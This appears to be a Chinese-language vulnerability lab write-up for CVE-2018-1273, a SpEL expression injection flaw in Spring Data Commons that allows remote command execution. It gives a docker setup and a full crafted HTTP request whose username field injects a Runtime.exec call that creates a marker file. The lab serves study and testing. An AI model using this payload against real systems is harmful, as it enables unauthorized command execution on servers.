Spring Data Commons 遠程命令執行漏洞（CVE-2018-1273）

Path spring/CVE-2018-1273

Spring Data是一個用于簡化數據庫訪問，并支持云服務的開源框架，Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中，存在一處SpEL表達式注入漏洞，攻擊者可以注入惡意SpEL表達式以執行任意命令。

參考鏈接：

• https://pivotal.io/security/cve-2018-1273
• https://xz.aliyun.com/t/2269
• https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483666&idx=1&sn=91e3b2aab354c55e0677895c02fb068c

環境搭建

執行下面命令啟動漏洞環境：

docker-compose up -d

稍等一會，環境啟動后，訪問http://your-ip:8080/users，將可以看到一個用戶注冊頁面。

漏洞復現

參考前面鏈接中的Payload，在注冊的時候抓包，并修改成如下數據包：

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

執行docker-compose exec spring bash進入容器中，可見成功創建/tmp/success，說明命令執行成功：